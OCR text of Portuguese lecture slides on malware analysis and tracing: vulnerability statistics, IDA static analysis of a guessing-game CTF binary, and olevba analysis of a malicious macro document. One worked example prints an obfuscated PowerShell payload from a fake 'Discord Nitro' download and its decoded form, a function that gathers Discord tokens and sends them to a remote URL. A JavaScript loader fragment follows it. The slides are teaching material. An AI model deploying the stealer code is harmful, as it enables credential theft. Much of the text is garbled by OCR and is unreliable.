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Motivacao
Evolution of threat’s filetype
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Top 5 Produtos pelo Numero Total de Vulnerabilidades
Distintas

All Time
Product Name Vendor Name Product Type Number of Vulnerabilities
1 Debian Linux Debian (O] 8493
2 Android Google oS 6528
3 Fedora Fedoraproject oS 4754
4 Ubuntu Linux Canonical oS 3979
5 Linux Kernel Linux (O] 3353
2023
Product Name Vendor Name Product Type Number of Vulnerabilities
1 Android Google oS 1086
2 Windows Server 2022 Microsoft 0s 518
3 Windows Server 2019 Microsoft 0s 497
4 Windows 11 21h2 Microsoft 0s 465
5 Windows Server 2016 Microsoft 0s 461

Source: cvedetails [3]
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Motivacao

e Android Stack Vulnerabilities

B System Applications [l Application Framework [l ART
~ Native Libraries [} HAL [} Kernel
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Source: Garg, S., & Baliyan, N. (2022) [5]




Android Vulnerability Scores Across Versions and Device

Distribution Over Time I||||
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Motivacao

e Pontuacdes de Vulnerabilidades do Android em Diferentes Versdes e
Distribuicao de Dispositivos ao Longo do Tempo
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Método Tradicional: Extracao Manual de Caracteristicas

e Extrair metadados de arquivos

o Exemplo: strings de um documento word, codigo javascript de PDF, exploit inserido em um
APK, etc

e Desafios:
o  Estudar a estrutura de cada tipo de arquivo
o Nao ha padronizacao entre diferentes formatos
o Na&o podem ser correlacionados em um unico modelo
m Exemplo: word vs PDF



Método tradicional: exemplo

e Um usuario acessou um link que o “premiou” com uma assinatura do Discord
Nitro
e Pelo Wireshark temos:



Método tradi

cional: exemplo 1

GET /freediscordnitro HTTP/1.1]

IContent-Disposition: attachment; filename=discordnitro.psi]
content-Type: application/octet-strean

[Content-Length: 8526

Last-Modified: Sat, @2 Mar 2024 17:29:47 GMT|
[Cache-Control: no-cache)

ETag: "1709400587.6259556-8526-1669141932"

Date: Sat, 02 Mar 2024 18:11:55 GM

Connection: close]

$j0zeq3n = "9ByXkACd1BHA19UL1RXaydFI7BCd;jVmai9ULoNWYF J3bGBCFgMXeltGIKOgNXACaBdmblxUZKI2YtASNgMXZk92QmokelIWb15WLgMXZka2QuIHApSEZy92YZz1GRIRXYyVmb1dEI9AY (|
5V2akoQDiozc5V2Sg8mc@1mTgQmevN2cpREIhM3cIN2YIN1IgQ3cvhUL1RXayd1CNoQDItHIONGdhNMCNenCNEGAhREZ1RHC5]3YuVGIgkHZvIULgMnc IRWY1hGIgMnc 1IRWY1hULgQ3cvBF Ik9GaoVWT]|
[tACTSVFIgkmcV1CIk9Ga@VWTONXZS1SZromdulEIgACIKOQFgACIgoQDNA]L18SYsxWa69WTnASPgcCduv2ZB1ic INXVNACIgACIgACIKOWIulWYsB3LOhXZ8dCI9Ay J1BXeU1CduVGdu92QnACIgACT
lZACTKOWeABSPgMnc 1RWY1hGIgACIgoQD7BSeyRnCNOQDKF 2bs IXYWRCIOhXZO5WahxGe tASWFtOXTVUQKASe 1tWLgcmbpIHATCdwlnc DIhRXY! 1RiCNATMggGAWVGREALbVNNS|
[t8GV@IXZ252bDBC gl '2¢1RCI9AC: Di0zayM1RWd1UXIVVZNXNXNWNG1WY1UERKp3aqdFikIDZIM3RWOKSIF 2dkF TWiASPgkVRLO1UF FEJK@gCNOnCNeHIgACIKOwc s IWYOVGR)
lYV2c1RCI9SCIZ9mZulkc INXKACIGACIGACTKOQFgACIEACTgALCNAWZr9GAKASPEANZ rOGVEACIgACIGACIEACTKOQZ L Fmb XY 1i9GbnSybmSWSyV2c1RCIOASZEFMT SFmYVX2RgACIgACTEACIGACT
[KoAbpFIIb15ybm5WSyV2c1RCISACPFWbFBCIGACIgACIgACTgoQDK1mLyZmb I IXZ2VHIgeDIELEIgACIgACTEACIgA CNSHQAR3Y1pmYP12bONXdDNFUbBSPgMHbpFGd1Rkc INXAKACIGACIGACTKOwe)
lgkybmSWSyV2c 1RCKgYWagACIgoQDuV2avRHIg4WZ oGVt Ay bmSWSyV2cVRMcVN2cpRULBV2RgODIVZmbI IXZZVHIgACIgoQD7BSKZ5WZ oGV s XYkAibpBiblt2beRCKgg2YhVmeyZmCNKCKABSPgM3b|
ImSWSyV2c1R1CNoQDIPQDZ5WZr9GAKASPrAY cuV2avRFbsFGIgACIgoQDORXYQRNb1INc INGI ggGdhBXL gwiY 1R3UgeDIZ5WZr9GdKACTgAL CNoQDOVIWAU1Gdu9 2Y 7BSKp IXZULWY@5 2bDBS Zu1HVORXY|
Q1CIORXYQRnb1Inc1NGIggGdhBVLENXZUhCI@ImbtgCIm1GIgACIKOgC! m, Jg@DIORXYQRNb1IncINGIgACIgoQD7BSKZ1XZL 5y coRXYWRCIULGItI3bmRXYsBHI0ACa FIWZ]
lyomZKeQKoAEI9Ay cuV2avRFbsFGIK@gCNONCNciNz4yNzUzLpIXYmF2UggDNuQjN44CMUE TOVU2ZKVEIp82ajV2RgU2apXxGI swUTUh@S0AINZ4yNZzUZLO1251V2V1xGewF EIpQjNABy0RYjbpdFI7A] L
EDIUSEIzd3bk5WaXhCIw4aSNVEGbs1mev1@IgeDInQnbldWQtIXZzV1IgACIgoQDn42bzp2LudaeF2YpxGewF2IgeDINUGCSRVLOSWZO52bDdCIgACIKOWeABSPgMNc1RWY1hGIK@gCNONnCNIyclxial
momcQxFevZWZy 1ImRcFGbs1mev1EXn5WatF2byRiIgeDIng3bmvmcpZ@IgACIgoQDiUGbiFGATBSYYVGCPXVZyF2d@Z2bTBSYyVGcPx1ZulWbhdmekICI9AYIhIXZwo@IgACIgoQDiwFdsVXYmVGRCFGd|
hREIyV2cVx1c1N3dvInQtUmdhInQcVmchdHAm92U1ZXYy JEXSF2YvxGIiASPgcSZ2FmeCACIgACIKOgIOXWdhZWZEXVYOF GREIXZZVFX112byh2QcVGbn92bHxFbhN2bsRiIgeDInUWbyIHaDBSZsd2b)
vdBJgACIgcQD7EEI9AycoRXYleCNoQDleRDpleVRUT3hZMNZWNyGESCPZYZUkaUZmTSeraJTZDJlRT]CISASMG]XYleCNEEVBREUQFkOZSWZkASchmbplWYV]HJKGQQUFERQBVQMF@QPXKOZSWZ

QDKOgIu4iL! YWBSZiBSZzFWZSBFIhMXeltGIvIHdp5SGIkI3bjNXaEByZulGdhIXZuV2RiACdz9GStUGAPI3VKOgIgACIgACIZACTEACIgACIgACIgACTEACTEACIEACTEACT]
gACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIKBAIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACI
|EACTgACIgACTIgACTgACTEACTgACIgACIgACTGACIGACIgACIgACTgACTEACIgACIgACIgACTGACIgACIgACT AL CNBYXBBCI g8y XFOIXFXF IVEIXFXF IVB1XFI1XcBCIVEIXFXF Igw3X891XcX3XVEFX|
|gW3XCBCFFXy X FXF Igw3X89y XFOFXFI1XCOyXFOF FFXHIVEIXFXHIBIIXFXFFFI1XCBCI8OF Fgw3XcpQD8BCTIFI1XCO1XVAY LUSCTIVEF FgwlXFo1Lg8ilL gwHIpSFKgWHIBBCFFXHISBCFGACKSBCFgWHI
[89FKgWHIBBCFgkyXoACFFhCIcByXFXFI89CIVWHISBYLFOF Ig8yXFBCISBCFgWHISBCFKOAFgWaXVAYLg8CIVACIS8BCFVACISBCIVAYLgACTgWFIFByLFo1Igw3XFBCFgwHIgBiL gwHISBCYFBYLF1]
lgwHXg8F Iv81Xg8CFFOF IVACFgwHIBBCfgwF IByLcByXg8yXfdCI89F IgwnCNWHIBICIveyLg8CINAGFgeyL8BCFn8CIvAY IgBCIgB1XfByXfBy Xg8F fgn3X8BCF cBCIBBCFgw3XFByXfByXgAyXFoF]]
LF91XgAyXFOF IfXHIBBCFgWHIg81XFBCIFI1Xg81Xg8F I xHI8pQDBBCIg8CI cBCIFOF IvwHIg8F IgwHXgAy X By LgACTgACIgACIgACTgwHIp8FKgWHI cBCFgwHISBCIgACIgACIgACTgACTEACIEACT
lgkyXoACIfBCIBBCIgACIgACTgACIgACT FO1XgACFKOATFO1XgACIFOIXFOFIg8IXFI1XgAYXFIIXFBCIgACIEACTgACIgACIg8F IfByXgACI FBCIg8F IgACIgACIgACIgACIgACIgACTgACIg8F IF91X|
[F91XgACIgACIgACIgACIgAYXFI1XFOL1CNICION3bI1SZ01mcXpQDKOQFKOQKhRXYEXGb1ZGIocmbpIHATRININXYCIGVE0TX@IXZ252bD5Sb1R3cSNIWGACIgoQDhRXYERWZOBXeyNmb1RCIrALVISCZ|
[1dWYUFWTZVWYKASPEGAhREbSVNZKASXdtVZO1nYbBCIgAiCNS TKOR3ZUVGTUMXZO1nYKACLWACL2ZVGA5]GI0s2YvxmQsFmbpZUby9mZz5WYyR1Ly9Gdwlnc jSWZKASPEEGIhREZ1RHC5I3YUVGIgACT]
l20QDpgi cVRHC533YUVUZOFWZYNKLKV2ZhSWYNNXZhRCI9AL cVRHC5I3YUVGI gACIgoQD5V2akACd Vmai 9EZ1dWYUFWT ZVWQtUGAhVmcDBSPgQWZNFmbh10c 1FGIgACIgoQDpQHe 1RnbpFGbWRCKZVGd
5JEd1dkL4YEVVpjOddmbpR2bj5WRUQHe1R1L tVGdz13UbBSPEMXZO1nYKACIgAiCNSHIpQHe IRnbpFGbWRCISKXZrRCKnSWayR3UtQHC5I 3YUVETu9Wa@Nmb1ZmCNoQDIpQDKV2ZhSWYNNXZhRCIACT]
KOQf gACIZ0QDIBCIEACIZACIKOQe1tGIgaDISV2SuQWZnFmbh10c1FGIgACIgACTgACIGACIKOWegU2csVGIgACIgACIgoQDIBCIACIEACIKOQKSV2akgyZulmc@NFN2U2chIUbvInREGTXOIXZ252b)
ID5Sb1R3c5N1WEBDISV2SuQWZNFmbh10c 1FGIgACIEACIZACIgACTKOWegkiInSWayR3UiASC11CI11WY05SKoUGCSRFd1dmL5V2akgCImlGIgACIgACIgoQD7BSK5V2akgCImlGIgACTKOQFEACIZoQD|
9BCIgACIgACIKOgVIRCIOAIVISCZLdWNYUFWTZVIWYKACIGACIgACTgACTgoQD7BSZZXWZgACTgACI gAi CNBHIgACTgACTgoQDpYVSkgy ZulmcONFN2U2chJUby InR60TX@IXZ252bD5Sb1R3c5N1geDT
wlkLkVZZhSNVNNXZhRCIgACIgACIgACIgAlCNsHIpIyZulchNlIgEXZtASZtFmTukCKlBXeURXZn51VJRCKgYNagACIgACIgAlCNsHIpYVSkgCImlGIgACIKBgNlIDIQASZSlZUSVZSuQNZnFmbhlec

1 Mo 7 m {1

Entire conversation (9332 bytes) s S Stream 3

Find: Find Next
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Método tradicional: exemplo 1

e Somente olhando, ndo percebemos muita coisa

e Possivel ofuscacao de codigo malicioso
o  Utilizar técnicas de desofuscacdo para extrair o contetudo real
o https://gchqg.github.io/CyberChef/

1



Método tradicional: exemplo 1

® Reverse, From B;

gchq.github.io

Last build: 10 days ago - Version 10 is here! Read about the new features here Options & About / Support @

Recipe ol

Reverse

By
Character

From Base64

Alphabet
A-Za-z0-9+/= Remove non-alphabet chars

EI Strict mode

STEP Z. BAKE!

Auto Bake

Input + O3 e =
LIWZAVGDWEAQEKUNZERL /QINULZVESUMUA T MEQL | gM3AVKMDPArKgATL LSS Y SXWAbYW | TASPELLAUV ZLB11CLNAVIACLEACLEALLEALLEALL
gAICNIibvNnav42bpRXY 1GbWBXYiASPEISZWIHVEQNbIRNbVNKIgACIEACIEACIgACTEACIgoQDUV2aVRF IgeDIi42bpRXY61mcvhGd1FKT
gACIgACIEACTEACIEACIgoQD7BEISAY CyVGZhVGSKACIEACIgACIgACTgoQD7BS eyRHIEACIEACIgoQD7BY c2V2YVIHCgACTE0QDKBQKEACT
g0QDUV2aVRF IddmbpIHdztF IgACTgACIgoQDA1SZ1IHAKASPEKNCVRXYKSWYNhic IRXZt FmchB1gACTgACTgAI CNgC Tt FmchBF IGACIKOQX
PEyZu16ZulmQeVGbk12QbBCIgAICNSHIVZmbI IXZ2VFZy92Y21GREQXZHB1bv1Gd] SWdmpQDKeQFKawc 1R 2bFRCIUIXAOVMCEACTgoQDKRQF
gACIgoQDIR2bIRCIISCIZVGZVNGIGACIGACTgALCNKSFEkCKSFmeyFkchh2QURLLZIXYONGIgQ3Y1pmYPRXAWSHStASbVRmbhIVLOV2RgSHT
NZqI2Ttg2YhVkcvZEI8BCa@dmb1XUZkO2YkaiLxgCIul2bqlCIOASZkO2YKACIGACTGACTKOWegkyKrkGIgszc IR26DZ2TyVmYtVnbKACd
S1CIPRCI7ADISASakgCIySmZgACIgoQDKeQKoAEISAYc IR2bIRCIGACIKOWISgzN2UDNZ I THWoXe4dnd 1R 3cy FHCVSHbs tmaph2ZmVGZ3 IWY
alFWXZVVUNLURB1TO1ETLpUSIdkRFROQCF@I g@DIzIXYoNGIgACIgoQDKBQKEACIgoQD2EDISACaRdmb1XUZk2YkoF dul2WgACIGACIALC
NWCMXASPEMXZk92Qmoke 1IWb156IdRnbptFIgACIEACIgoQDOASbhIXYWBCIgAL CNSHIZVGZVNObyRXaORmCVN2cpRUZOFmC 1SWZHBibv 16d
5WdmpQDK@QFKeWCUV2avRHIgame 1RXZyBCTgAL CNOQDStHIONGAhNGISBCIgA L CNRHIgACTgACIg0QDStHIONGANNGISBCIgACTEACTEACT
g0QDIBCIEACTEACTEACIgACTgALCNeHIGACT gACTEACTEACIgACTEACTgOQDIVHBhZ 1L 2VGaIRXYNSy XKACTEGACTgACTGACTEACTGACIGACT
gACIgoQD7BCd]VmaioULoNWYFI3bGBCFgMXZoNGdh1EbSFULggXZnVmckALbyVGdOF GUtAYZuUlmcONVLONWZ SV 2UgWHIOSHZ526DVGbpZGI
g02KgMnb1t2beRCIgACIgACTgACTEACIgACI gACTgoQD7BSKpcSF1kDLwgzedlydctlLeFmZtdCIscSFWETMSUIM7 VL 3XIWUNVF2SXXECHX
b5CX9Z3M71VL3x1HngCQe4naggXZnVmckgCToNWY1I3bmBCIgACTgACTgACTACTgAI CNOQDWSGATBiby1Gd  FkevIncF1CI3FmULASZLFmT
SXWAGSyXKACaBF GUtACAUVGAU92QtQXZHBSPEQNb1RNbVNUZS InZkACTgACTACTGACTGACTgALCNSHI 5 IHAgACTRACTEACTGACTKOATGACT
gACIgACIgAICNSHIONWZGI2Ttg2YhVkcvZEI8BSZII3b61CI INNCINNZS1CI1xHaG1C ToRXYWRCIORXYQLCTtVGAIRGbPh2QEQXZHBCIGACT
gACIKOWegknc@BCIgAiCNOQDPECQE@DIz5HZroGdKACIgAL CNOQDPACTgALCNgGAhBHIddmbpIHdzt FIgACTEACIgoQDOASbhIXYWBCIALC

NSHISFWZONFI 1ZmCNOQDEGZ3phYr DOXOMCVADOWEOLMTHUY TMX4CO2E LYk THV810WRHAOICISACTSVF
mec 8096 = 1 Tr Raw Bytes & Li
Output a0Om::

$URL = "http://192.168.116.135:8080/rj1893rjljoijdkajwda" cs

function Steal {c
param (c
[string]$pathc

$tokens = @() v

try {c
Get-ChildItem -Path $path -File -Recurse -Force | ForEach-Object {c
try {«
$fileContent = Get-Content -Path $_.FullName -Raw -ErrorAction Stopc:

foreach ($regex in @('[\w-1{26}\.[\w-1{6}\.[\w-]{25,110}", 'mfa\.[\w-]1{80,95}")) {«=
$tokens += $fileContent | Select-String -Pattern $regex -AllMatches | ForEach-Object {cs
$_.Matches.Valuec

o co70 170 O dans  Tr oy Biies e s
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Tracing

e Oqueé
o Processo de monitorar e registrar a execucdo de um programa, seja analisando seu codigo
estatico ou seu comportamento em tempo real
m Detectar, analisar e mitigar ameacas
e Métodos

o Estatico
o Dinamico

13



Tracing estatico

e Definicao

o Analise de cédigo-fonte ou binario sem executar o programa
e Ferramentas

o IDA Pro, Ghidra, Radare2, strings, Oletools, androguard
e Exemplos

o Analisar um binario malicioso para descobrir strings suspeitas
o Descompilar um executavel e examinar suas funcdes internas

14



Tracing estatico

e O gue um binario esconde?
e Ele faz exatamente o que promete?
e Dado ojogo do tigrinho, vocé confia que ele te da as chances de vencer?

15



Tracing estatico - exemplo 1

e Um jogo de adivinhacdo, onde o usuario ganha ao acertar o numero sorteado
e Quais suas chances de vencer?

16



Tracing estatico - exemplo 1

Jul30 10:53

IDA - pwn0 /home/claudio/Documents/SECRET_CTFchallenges/pwn/pwn0

Eile Edit Jump Search View Debugger Options Windows Help
)} A- @O ELRAR-Dz¢ b
N I —

Library Function [ll Regular function [l Instruction Data Unexplored External symbol [l Lumina function

Local Linux debugger ~ | Tc

Imports

[7] Functions o IDA View-A 0 @ Hex View-1 Qo @ Local Types o
Function name 2 var_9 x‘": ptr '9":
= var_8 ord ptr -84l
o -’:’"tr var_7¢= dword ptr -7¢h
L] _strespn var_78= dword ptr -78h
71 _srand var_74= dword ptr -74h
(7] _fgets s= byte ptr -76h
[7] _time var_8= qword ptr -8
(7] _atol
7] _sleep ; __unwind {
7 rand lendbrea
== push  rbp
7] _ctype_b._loc mov  rbp, rsp
7] _start
1 sub rsp, 90h
f] deregister_tm_clones e [rbptvar_84], edi
[7] register_tm_clones mov [rbp+var_96], rsi
[7] _do_global_dtors_aux mov rax, fs:28h
(7] frame_dummy mov [rbp+var_8], rax
{71 show_number xor eax, eax
7] isNumber mov edi, 0 i timer
call  _time
mov edi, eax ; seed
—teurb”c‘-p;::t _ call _srand
= -start._t mov [rbp+var_751, o
iZ] puts ) lea  rax, aAdivinhandoVal ; "Adivinhando valor de um D20!\n
7] _ stack_chk_fail mov rdi, rax ;s
7] printf call _puts,
[7] strespn mov edi, 1 ; seconds
[7] srand call _sleep
7 fgets lea rax, aRolandoUmD20 ; "Rolando um D20..."
f’f‘ time mov rdi, rax i s
— call _puts
71 atol di 5 d
7] slee mov edi, 2 ; seconds
Ul P call  _sleep
é\‘ rand - lea rax, aProntoAgoraTen ; "Pronto! Agora tente adivinhar o que sai
/| _ctype_b_loc mov rdi, rax o
[7] _Iimp__cxa_Ffinalize call  _puts
[7] __gmon_start__ = jmp loc_1471
] » T

Line 33 of 48, /main

Output
Hex-Kays Lecompller pLUgIn nas Deen L0aded (Vs.4.U.Zausul)

License: 48-F4EE-0000-00 Freeware version (1 user)

The decompilation hotkey is F5.

Please check the Edit/Plugins menu for more information.
Propagating type information
Function argument information has been propagated
The initial autoanalysis has been finished.

IDC

AU: idle Down

Disk: 252GB

100.00% (44,160) (246,178) 0000134D 000000000000134D:

main (Synchronized with Hex View-1)

2

Exports.

17



Tracing estatico - exemplo 1

A AL PR

Eile Edit Jump Search View Debugger Options Windows Help
s @aa 1 A- @@ GLRO®R-D5¢ b Local Linux debugger ~ | Tc/|[cf| FE
: N1 T Y 1 | I

Library function [ll Regular function [l Instruction Data Unexplored External symbol [l Lumina function

[7] Functions 0e ®| B IDA View-A o |3 Pseudocode-A 0o © Hex View-1 0o © Local Types o A Imports
Function name =

[7] sub_1080

{7 sub_1090 ® &

[7) sub_10A0

{7 sub_1080 ‘°‘—“71; —

- cmp rbp+var_781,

Dasc

[7] __cxa_finalize ¥

[7) _puts =

[7] __stack_chk_fail =

i} loc_13D6: eax

pald lea rax, abigiteUmN ; "Digite um n" edx

@ mov rdi, rax ; format 66666667h

5 mov eax, 0 26h

oD call  _printf 3

7" mov rdx, cs:_ bss_start ; stream edx

vl lea rax, [rbp+s] 1Fh

e mov esi, 64h ; 'd" ;n esi
mov rdi, rax s eax

@ call  _fgets mov eax, ecx

@ _ lea rax, [rbp+s] shl eax, 2

[7] deregister_tm_clones lea rdx, reject ; "\n" add eax, ecx

[7] register_tm_clones mov rsi, rdx ; reject shl eax, 2

[7] __do_global_dtors_aux mov rdi, rax ;s mov ecx, edx

7] frame_dummy call  _strespn sub ecx, eax

{7 show_number mov [rbp+rax+s], © lea eax, [rex+1]

B Eurber lea  rax, [rbpss] mov  [rbp+var_74], eax
mov rdi, rax jmp short loc_14E7
call  ishumber

(7] _term_proc test  eax, eax

71 __libc_start_main jnz short loc_143E

(7] puts

[7] __stack_chk_fail v v ¥

(7] printf ® s F & 7

[7] strespn lea rax, aPorFavorInsira ; "Por favor, insira apenas n"

7] srand loc_143E: mov rdi, rax i s loc_14E7

[T fgets rax, [rbp+s] call _puts eax, [rbp+var_7C]

7 ime rdi, rax ; nptr| [jmp short loc_1471 eax, [rbp+var_74]

7] atol _atoi short loc_14B2

= [rbp+var_7c], eax

7] sleep [rbpsvar 7¢1, ©

7] rand short loc_1459

[7] _ctype_b_loc

[7] _Imp___cxa_finalize = 1 )

[f _gmon_start__ E @amE I @2z | @az

3 | [rbptvar_7c1, 14h| [mov’ eax, [rbptvar_74] ||

Line 33 of 48, /main
AU: idle Down Disk: 252GB

cmp
100.00% (24,792) (852,347) 000013B8 000000

00000013B8: main+6B (Synchronized with Hex View-1)
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Tracing estatico - exemplo 1

e Visualizacdo grafica pode ser demorado... Qual a alternativa?

19



Tracing estatico - exemplo 1

IDA - pwn0 /home/claudio/Documents/SECRET_CTFchallenges/pwn/pwn0

Jul30 11:06 ® O @

Eile Edit Jump Search View Debugger Options Windows Help
2d o -3 @aa @ 1 A A® CGR ®-0Oa » Local Linux debugger ~ | Tl |[¢7

N 0 N 111 Y 1 . ________________________________§k

Library function [ll Regular function [l Instruction Data Unexplored External symbol [l Lumina function

[7] Functions 08 ® IDA View-A Qo E Pseudocode-8 Q@ Hex View-1 o @ Local Types o B Imports o Exports [x]
FAREHORDATE - 1 int _ fastcall main(int argc, const char **argy, const char **envp)
[7) sub_1080 2t e .
71 sub 1090 3 unsigned int v3; x
(7] sub_10A0 b4 :.l": v:; ol ;
_ 5| int v6; rsp+18h]
Lf] sub_1080 6 unsigned int v7;
[7] sub_10co 7 char s[104]; rs
(7] sub_1000 8 unsigned _ int64 v9;
[7] _cxa_finalize 9
7] “puts 10 v = _ readfsquord(0x28u);
[7] __stack_chk_fail . = time(oLL);
7 printf 12 srand(v3);
7 "strespn 13| v6 = 6;
L£] _stresp! 14 puts(“Adivinhando valor de um D20!\n");
(7] _srand 15 sleep(1u);
[7] _fgets 16 puts(“Rolando um D20...");
[7] _time 17 | sleep(2u);
[7] _atol 18 | puts("Pronto! Agora tente adivinhar o que saiu");
[7] _sleep 19 while ( !v6 )
[7] _rand 20| {
o ctype_b_loc 21 printf(aDigiteUnN);
R 22 fgets(s, 100, _bss_start);
E(—f“‘”? 1 23 [strespn(s, "\n")] = 0;
é er_eglster_tm_c ones 24 if ( (unsigned int)isNumber(s) )
(7] register_tm_clones 25 1
[7] __do_global_dtors_aux 26 5 = atoi(s);
(7] frame_dummy 27 if ((v5 > 0 & v5 <= 20 )
[7] show_number 28 v6 =
[7] isNumber 29 else
30 puts(aN) ;
_term_proc > )1
[7] __libc_start_main j; : ”
(7 puts _ 34 puts(aPorFavorInsira);
[7) _ stack_chk_Fail s
[7] printf 36| )
[7] strespn 37 do
[7] srand 38 v7 = rand() % 20 + 1;
(7] fgets 39| while ( v5 == v7 );
(7] time 40 show_nunber (v7) ; s
7] atol ;i E::::"o:? pena. Ta sem sorte hoje :p");
[7] sleep g :
¥ i
(7] rand d
(7] _ctype_b_loc

(7] _Imp__cxa_finalize

[f] _gmon_start__
< v
Line 33 of 48, /main 000013B8 main:17 (13B8)
AU: idle Down Disk: 252GB



Tracing estatico - exemplo 1

IDA - pwn0 /home/claudio/Documents/SECRET_CTFchallenges/pwn/pwn0

Jul30 11:09

File Edit Jump Search View Debugger Options Windows Help
@aa e A @e

Pl -8

Q= -0 Local Linux debugger ~ | Tc||[¢f| 2 = =

[ | I .}

Library Function [ll Regular function [l Instruction Data Unexplored External symbol [ll Lumina function

<
>

[7] Functions 0@ ® IDA View-A o = strings o Pseudocode-A o @ Hex View-1 0o © Local Types o B Imports o B Exports (<]
Function name * |Address Length Type String
(7] sub_1080 [ LOAD:00000... 0000001C /lib64/ld-linux-x86-64.50.2
{7 sub_1090 [# LOAD:00000... 0000000F _ cxa_finalize
{71 sub_10A0 [® LOAD:00000... 00000006 fgets
[7] sub_10B0 [# LOAD:00000... 00000008 strcspn
7 sub_10co [# LOAD:00000... 00000012 _ libc_start_main
@ sub_10D0 [® LOAD:00000... 00000006 srand
(7] _cxa_finalize [# LOAD:00000... 0000000E _ ctype_b_loc
(7] _puts [# LOAD:00000... 00000006 sleep
[7] __stack_chk_fail [® LOAD:00000... 00000006 stdin
(7] _printf [# LOAD:00000... 00000011 _ stack_chk_fail
(7] _strespn [# LOAD:00000... 00000007 printf
71 _srand [ LOAD:00000... 0000000A libc.so.6
(7] _fgets [# LOAD:00000... 0000000A GLIBC_2.3
(7] _time [# LOAD:00000... 0000000A GLIBC_2.4
(7] _atol [# LOAD:00000... 0000000C GLIBC_2.2.5
(7] _sleep [# LOAD:00000... 00000008 GLIBC_2.34
(7] _rand [® LOAD:00000... 0000001C _ITM_deregisterTMCloneTable
(7] __ctype_b_loc [#] LOAD:00000... 0000000F __gmon_start__
7] _start [&] LOAD:00000 _ITM_registerTMCloneTable
7] deregister_tm_clones
[7] register_tm_clones [®] .rodata:000... 00000008 ot
(] __do_global_dtors_aux [# .rodata:000... 0000000A | %d \n
[7] frame_dummy [# .rodata:000... 0000001E Adivinhando valor de um D20!\n
¥ show_numbel [# .rodata:000... 00000012 Rolando um D20...
(7] isNumber [# rodata:000... 00000029 Pronto! Agora tente adivinhar o que saiu
(7] main [# .rodata:000... 00000008 Digite um n
(7] _term_proc [# rodata:000... 00000014 mero entre 1 e 20:
[7] __libc_start_main [# .rodata:000... 0000001A Por favor, insira apenas n
[7] puts [# .rodata:000... 00000007 meros.
[7] __stack_chk_fail [# .rodata:000... 00000029 mero fora do intervalo. Tente novamente.
[7] printf [# .rodata:000... 0000001F Que pena. Ta sem sorte hoje :p
[7] strespn [ .eh_fram 00000006 *35\"
[7] srand
(7] fgets
[7) time
[77 atol
[7] sleep
[71 rand
[7] __ctype_b_loc
[7] _Imp___cxa_finalize

[7] __gmon_start__
‘
Line 31 of 48, /show_number
AU: idle Down

Line 20 of 32

Disk: 252GB




Tracing estatico - exemplo 1

e Alguma alternativa mais rapida?
e Se a busca for por strings, utilizar o comando strings ;)

22



Tracing estatico - exemplo 1

23



Tracing estatico - exemplo 2

e \océ recebeu um convite para um evento: invitation.docm

24



Tracing estatico - exemplo 2

e Somente uma foto... Nada de ruim pode acontecer

e Mas a extensdo ja deixou uma dica no ar
o .docm: Arquivos word com ‘m’ ao final indicam presenca de Macros
m Atencdo! Extensdes ndao sdo confidveis. Precisa-se identificar o arquivo com outras
técnicas como identificacdo do MIME type (Multipurpose Internet Mail Extensions):
padrdo da internet que indica a natureza e o formato de um documento, arquivo ou
conjunto de bytes

e Utilizar OLEtools
o Uma colecgao de ferramentas em Python projetadas para analisar arquivos OLE (Object Linking
and Embedding) e documentos do Microsoft Office, como DOC, DOCX, PPT e PPTX, a fim de
detectar e examinar potenciais elementos maliciosos, como macros embutidas.

25



Tracing estatico - exemplo 2

e olevba
o  Extrair Macros se presente il

IAiiymixt
ystemObject")

Oin.

aMUsvg0in

application windov
Shell.Application

ate specific




Tracing estatico - exemplo 2

e JFqcfEGNc: Realiza criptografia XOR em um array de bytes.

e AutoClose: Limpa arquivos especificos quando o documento é fechado.

e AutoOpen: Contém a loégica do malware, verificando o dominio do usuario,
lendo e analisando o documento, e executando um arquivo se condicdes

forem atendidas.

o Lé o conteddo do documento ativo na memoria.
o Usa expressao regular para buscar uma string especifica SwWMbxtWpP.

27



Tracing estatico - exemplo 2

o000
import re

def xor_function_dec(given_string, length):
xor_key =
result = bytearray()
for 1 in range(length):
result.append(given_string[i] xor_key)
xor_key = ((xor_key ~ 99) ~ (i % ))
return bytes(result)

regexp(file_content):

pattern = b'sWcDWp36x50Ie2hJGnRy11C92AcdQgO8RL10VZWLhCKIXHRSq0450A1iqLZyLFeXYilCtorgOp3RdaoPa
index = file_content.find(pattern)

index = index + len(pattern)
return index
main():

file_content = open('invitation.docm','rb').read()
index = regexp(file_content)

payload = file_content[index:index + ]

payload = xor_function_dec(payload,len(payload))
print(payload)

if __name__ == '__main__
main()




Tracing estatico - exemplo 2

ript.Arguments;var DASz=1Vky(0);var Iwlh=1yEK();Iwlh=JrvS(Iwlh);I XR68(DASz,Iwlh);eval(Iwlh);function af5Q(r){var
At(0);if(a===43||a===45)return ;if(a | |a= Jreturn ;1f(a<48)return-1;if(a<48+10)return
+26+26; 1f(a<65+ )return a-65;1f(a<97+26)return +26}function JrvS(r){va
ABCDEFGHIJKLMNOPQRSTU! bcdefghijklmnopqrstu 123456789+/" t;var ljvar h;if(r.length%4>0)return;var u=r.length
.charAt(u-2)==="="22:1 .&hdlAT(U- ) ="?1:0;var : rray(r.length*3/4-g);var i=g>0?r.length-4:r.length;var z=0;function
b(r){n[z++]=r}for(t=0,1=0;t<i;t+=4,1+=3){h=af5Q(r rAt(t) )<<18| (r.charAt(t+1))<<12|af5Q(r.charAt(t+2))<<6|af5Q(r. rAt(t+3));
b( (h& )>>16);b( (h& )>> )‘h(h& )}if(g {h afS'('.rharAt(t))<< |af5Q(r.charAt(t+1))>>4;b(h& )}else if(
{h df%ﬂ( .charAt(t))<<10|af5Q(r.charAt(t af5Q(r.charAt(t+2))>>2;b(h>>8& );b(h& }return n}function xR68(r,a){va
f u="";for(var g=0;g< 5 g+H+ {T[q]—q}for var g=0;g< sg++){1=(1+t[g]+r.charCodeAt(g%r.length))% sh=tlgl:tlgl=tll];
3 ;for( n=0;n<a.length;n++){g=(g+1)% ;l=(1+t[g] )% sh=t[g];tlgl=t st Ll=h;
a[n]”~t[(tl[gl+t[1])% 1)}return u}function I/Eh(){ ar
Q5G5jUC+ nPMP1INDC1Ueoj5ZEbmFzUbxtqM5UW2+nj/Ke2IDGIqT5C] jAofATU3kWSeVgzHOISnsEaf9BbHYN9VvrXTU3UVBQcyXOH
9TrrEQHYHzZsq2! ifJExdt MYSBCuqyNcfq8+txpcyX/aKKAblyh6IL75+/rthbY1
[..SNIP...
